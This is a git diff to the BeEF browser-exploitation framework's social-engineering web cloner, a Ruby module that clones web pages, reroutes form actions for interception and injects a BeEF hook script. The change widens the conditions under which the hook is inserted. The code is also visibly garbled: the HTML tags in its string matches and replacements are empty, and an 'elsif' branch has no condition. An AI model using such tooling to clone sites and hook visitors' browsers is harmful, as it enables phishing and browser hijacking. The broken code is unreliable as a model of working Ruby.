diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 5f56f2ae8..19313f365 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -57,7 +57,7 @@ module BeEF File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| File.open("#{@cloned_pages_dir + output}", 'r').each do |line| # Modify the
line changing the action URI to / in order to be properly intercepted by BeEF - if line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') + elsif (line.include?("") || line.include?("")) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') out_file.print add_beef_hook(line) print_info "BeEF hook added :-D" else @@ -128,7 +128,11 @@ module BeEF private # Replace with def add_beef_hook(line) - line.gsub!("","\n") + if line.include?("") + line.gsub!("","\n") + elsif + line.gsub!("","\n") + end line end